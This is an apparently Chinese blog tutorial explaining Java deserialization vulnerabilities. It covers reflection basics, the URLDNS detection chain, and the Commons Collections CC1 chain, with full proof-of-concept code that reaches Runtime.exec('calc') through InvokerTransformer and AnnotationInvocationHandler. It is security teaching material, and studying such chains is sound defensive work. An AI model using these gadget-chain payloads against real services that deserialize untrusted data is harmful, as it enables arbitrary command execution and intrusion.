Java 反序列化链

Java 反序列化链

概述

在 Java 中,readObject 执行反序列化,而 writeObject 执行序列化。

在 Java 中,若要将一个对象通过 writeObject 序列化保存到磁盘上,那该对象的所属类或父类,必须继承 Serializable 接口。

Java 反序列化漏洞 根本原因 是开发者重写了 Java 自带的 readObject 方法,导致反序列化时调用的是开发者自己写的 readObject 方法。

Java 反射机制

概述

Java 反射(Reflection)是 Java 非常重要的动态特性,它允许程序在运行时动态地获取类的信息并操作类或对象的属性和方法。通过使用反射不仅可以获取到任何类的成员方法、成员变量、构造方法等信息,还可以动态创建 Java 类实例、调用任意的类方法、修改任意的类成员变量值等。

反射的核心类

Java 反射主要通过以下几个核心类实现:

  1. Class 类:代表类的实体
  2. Field 类:代表类的成员变量
  3. Method 类:代表类的方法
  4. Constructor 类:代表类的构造方法

获取类名 Class

// 🌟方式1:通过类的名字获取,Class.forName(),(推荐)
Class<?> clazz3 = Class.forName("java.lang.String");

// 方式2:通过类名的 class 属性获取,类名.class
Class<?> clazz1 = String.class;

// 方式3:通过类的对象,找到类,对象.getClass()
String str = "Hello";
Class<?> clazz2 = str.getClass();

实例化对象

// 使用 Class 对象的 newInstance() 方法(已过时,Java9+)
Class<?> clazz = Class.forName("com.example.Person");
Object obj = clazz.newInstance();

// 使用 Constructor 的 newInstance() 方法(推荐)
Constructor<?> constructor = clazz.getConstructor();
Object obj = constructor.newInstance();

// 带参数的构造方法
Constructor<?> constructor = clazz.getConstructor(String.class, int.class);
Object obj = constructor.newInstance("张三", 25);

获取与调用方法

Class<?> clazz = Person.class;
Object obj = clazz.newInstance();

// 获取 public 方法(getMethod)
Method method = clazz.getMethod("setName", String.class);
// 调用方法(invoke)
method.invoke(obj, "wangwu");

// 获取所有方法(包括 private)
Method[] methods = clazz.getDeclaredMethods();
for (Method m : methods) {
    m.setAccessible(true);
    if (m.getName().equals("privateMethod")) {
        m.invoke(obj);
    }
}

URLDNS 反序列化链

URLDNS 反序列化链是一种较为简单的利用链,主要用于触发 DNS 解析以验证漏洞的存在,而不会直接执行恶意代码。其核心目标是通过反序列化过程触发 URLStreamHandler 类的 hashCode 方法,进而调用 getHostAddress 方法,发起 DNS 查询。

1.1 URLDNS 链的工作原理

URLDNS 链利用了 Java 中 HashMapURLURLStreamHandler 类在反序列化过程中的调用关系。以下是链条的详细流程:

  1. 反序列化触发 HashMapreadObject 方法 在 Java 反序列化过程中,当对象被反序列化时,HashMap 类的 readObject 方法会被自动调用。readObject 方法负责重建 HashMap 的内部键值对,并在此过程中调用 hash 方法来计算键的哈希值。
  2. HashMap.hash 方法调用键的 URL.hashCode 方法 HashMaphash 方法会调用键对象的 hashCode 方法。如果 HashMap 的键是一个 URL 对象,则会调用 URL 类的 hashCode 方法。
  3. URL.hashCode 方法调用 URLStreamHandler.hashCodeURL 类的 hashCode 方法中,会调用其关联的 URLStreamHandler 对象的 hashCode 方法(通过 handler.hashCode(this))。URL 类的 handler 字段默认是一个 URLStreamHandler 实例,因此会触发 URLStreamHandlerhashCode 方法。
  4. URLStreamHandler.hashCode 触发 DNS 解析 URLStreamHandlerhashCode 方法在计算哈希值时,会调用 getHostAddress 方法尝试解析 URL 的域名,从而触发 DNS 查询。这是 URLDNS 链的核心利用点。
// 最终构造链
HashMap.readObject -> HashMap.hash -> URL.hashCode -> URLStreamHadler.hashCode -> getHostAddress

1.2 URLDNS 链的代码实现

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        // 构造URL对象,指向需要触发的DNS查询地址
        URL url = new URL("http://example.dns.test");

        // 创建HashMap并将URL对象作为键
        HashMap<URL, Integer> hashMap = new HashMap<>();
        hashMap.put(url, 1);

        // 序列化HashMap对象
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.close();

        // 反序列化,触发DNS解析
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

代码详解

  • import java.io.*; 导入 Java 的序列化和反序列化相关类(如 ObjectOutputStreamObjectInputStream),用于生成和解析序列化数据。
  • import java.net.URL; 导入 URL 类,用于构造包含目标域名的 URL 对象。
  • import java.util.HashMap; 导入 HashMap 类,作为反序列化链的入口点。
  • URL url = new URL("http://example.dns.test"); 创建一个 URL 对象,指定需要触发的 DNS 查询地址(example.dns.test)。在反序列化时,该域名会被解析。
  • HashMap<URL, Integer> hashMap = new HashMap<>(); 创建一个 HashMap,并将 URL 对象作为键存储。HashMap 在反序列化时会触发 readObject 方法。
  • hashMap.put(url, 1);URL 对象作为键放入 HashMap,确保在反序列化时调用 URLhashCode 方法。
  • ByteArrayOutputStream baos = new ByteArrayOutputStream(); 创建字节数组输出流,用于存储序列化后的数据。
  • ObjectOutputStream oos = new ObjectOutputStream(baos); 创建对象输出流,用于将 HashMap 对象序列化。
  • oos.writeObject(hashMap);HashMap 对象序列化为字节流。
  • ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); 创建字节数组输入流,用于读取序列化数据。
  • ObjectInputStream ois = new ObjectInputStream(bais);
    创建对象输入流,用于反序列化。
  • ois.readObject(); 执行反序列化操作,触发 HashMapreadObject 方法,进而调用 URLhashCode 方法,最终触发 DNS 解析。

1.3 关键类和包

  • java.util.HashMap 位于 java.util 包,是 Java 标准库中的键值对集合类,支持序列化和反序列化。其 readObject 方法在反序列化时会调用 hash 方法。
  • java.net.URL 位于 java.net 包,表示统一资源定位符。URL 类的 hashCode 方法会调用 URLStreamHandlerhashCode 方法。
  • java.net.URLStreamHandler 位于 java.net 包,是一个抽象类,负责处理 URL 协议。其 hashCode 方法会调用 getHostAddress,触发 DNS 解析。

CommonCollections1 (CC1)反序列化链

CommonCollections1 (CC1)链是 Apache Commons Collections 库中的一个经典反序列化利用链,能够通过精心构造的序列化数据实现任意代码执行。其核心目标是通过反序列化触发 Runtime.getRuntime().exec() 方法,执行指定的操作系统命令。

2.1 CC1 链的工作原理

CC1 链利用了 Commons Collections 库中的 ChainedTransformerLazyMapTransformedMapAnnotationInvocationHandler 类,通过一系列的 transformer 对象构造一个调用链,最终触发 Runtime.getRuntime().exec()。以下是链条的详细流程:

  1. 反序列化触发 AnnotationInvocationHandlerreadObject 方法 在反序列化过程中,AnnotationInvocationHandlerreadObject 方法会被自动调用。该方法会操作其内部的 Map 对象(通常是 TransformedMap),触发 setValue 方法。

  2. TransformedMap.setValue 调用 checkSetValue TransformedMapsetValue 方法会调用 checkSetValue,后者会使用 valueTransformer(通常是 ChainedTransformer)对值进行转换,触发 ChainedTransformer.transform 方法。

  3. ChainedTransformer.transform 执行转换链 ChainedTransformertransform 方法会按顺序调用一组 Transformer 对象(例如 ConstantTransformerInvokerTransformer),逐步构造 Runtime.getRuntime().exec() 的调用。

  4. 构造 Runtime.getRuntime().exec 调用 通过以下步骤构造完整的调用链:

    • 使用 ConstantTransformer 返回 Runtime.class
    • 使用 InvokerTransformer 调用 Class.getMethod("getRuntime",null),获取 getRuntime 方法。
    • 使用 InvokerTransformer 调用 Method.invoke(null,null),执行 Runtime.getRuntime()
    • 使用 InvokerTransformer 调用 Runtime.exec("calc"),执行命令(例如打开计算器)。
// 完整调用命令
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc");

2.2 CC1 链的代码实现

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[] {
            // 返回Runtime.class
            new ConstantTransformer(Runtime.class),
            // 调用Class.getMethod("getRuntime", null)
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            // 调用Method.invoke(null, null)
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            // 调用Runtime.exec("calc")
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        // 创建ChainedTransformer,串联所有Transformer
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        // 创建初始Map
        Map innerMap = new HashMap();
        innerMap.put("value", "value");

        // 使用TransformedMap包装,设置valueTransformer为ChainedTransformer
        Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

        // 获取AnnotationInvocationHandler类
        Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        // 创建AnnotationInvocationHandler实例
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        oos.close();

        // 反序列化,触发命令执行
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

代码详解

  • import java.io.*; 导入序列化和反序列化相关类,用于生成和解析序列化数据。

  • import java.lang.annotation.Retention; 导入 Retention 类,作为 AnnotationInvocationHandler 的构造参数。

  • import java.lang.reflect.*; 导入反射相关类,用于动态获取 AnnotationInvocationHandler 的构造函数。

  • import org.apache.commons.collections.*; 导入 Commons Collections 库中的 TransformerChainedTransformerConstantTransformerInvokerTransformerTransformedMap 类,用于构造调用链。

  • Transformer[] transformers = new Transformer[] {...}; 定义一个 Transformer 数组,包含以下步骤:

    • ConstantTransformer(Runtime.class):返回 Runtime 类对象。
    • InvokerTransformer("getMethod", ...):调用 Class.getMethod("getRuntime", null),获取 getRuntime 方法。
    • InvokerTransformer("invoke", ...):调用 Method.invoke(null, null),执行 Runtime.getRuntime()
    • InvokerTransformer("exec", ...):调用 Runtime.exec("calc"),执行命令 calc(打开计算器)。
  • Transformer chainedTransformer = new ChainedTransformer(transformers); 创建 ChainedTransformer 对象,将所有 Transformer 串联起来,按顺序执行。

  • Map innerMap = new HashMap(); 创建一个 HashMap,作为 TransformedMap 的底层存储。

  • innerMap.put("value", "value"); 添加一个键值对,确保 TransformedMap 在反序列化时触发 setValue 操作。

  • Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer); 使用 TransformedMap.decorate 包装 HashMap,设置 valueTransformerChainedTransformer,确保值转换时触发调用链。

  • Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 通过反射获取 AnnotationInvocationHandler 类。

  • Constructor<?> constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); 获取 AnnotationInvocationHandler 的构造函数,接受 ClassMap 参数。

  • constructor.setAccessible(true); 设置构造函数可访问,绕过访问限制。

  • InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap); 创建 AnnotationInvocationHandler 实例,传入 Retention 类和 TransformedMap 对象。

  • 序列化和反序列化部分 与 URLDNS 链类似,通过 ObjectOutputStream 序列化 handler 对象,通过 ObjectInputStream 反序列化,触发 AnnotationInvocationHandlerreadObject 方法,进而执行整个调用链。

2.3 关键类和包

  • org.apache.commons.collections.Transformer Commons Collections 库中的接口,定义了 transform 方法,用于对象转换。
  • org.apache.commons.collections.functors.ChainedTransformer 实现 Transformer 接口,串联多个 Transformer 对象,依次调用其 transform 方法。
  • org.apache.commons.collections.functors.ConstantTransformer 返回固定对象的 Transformer 实现,用于返回 Runtime.class
  • org.apache.commons.collections.functors.InvokerTransformer 通过反射调用指定方法,用于构造 getMethodinvokeexec 调用。
  • org.apache.commons.collections.map.TransformedMap 包装 Map,在键值操作时应用 Transformer 进行转换。
  • sun.reflect.annotation.AnnotationInvocationHandler 位于 JDK 的 sun.reflect.annotation 包,处理注解的动态代理类,其 readObject 方法会触发 TransformedMap 的操作。
  • java.lang.Runtime 位于 java.lang 包,提供与运行时环境的交互方法,如 exec

 

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇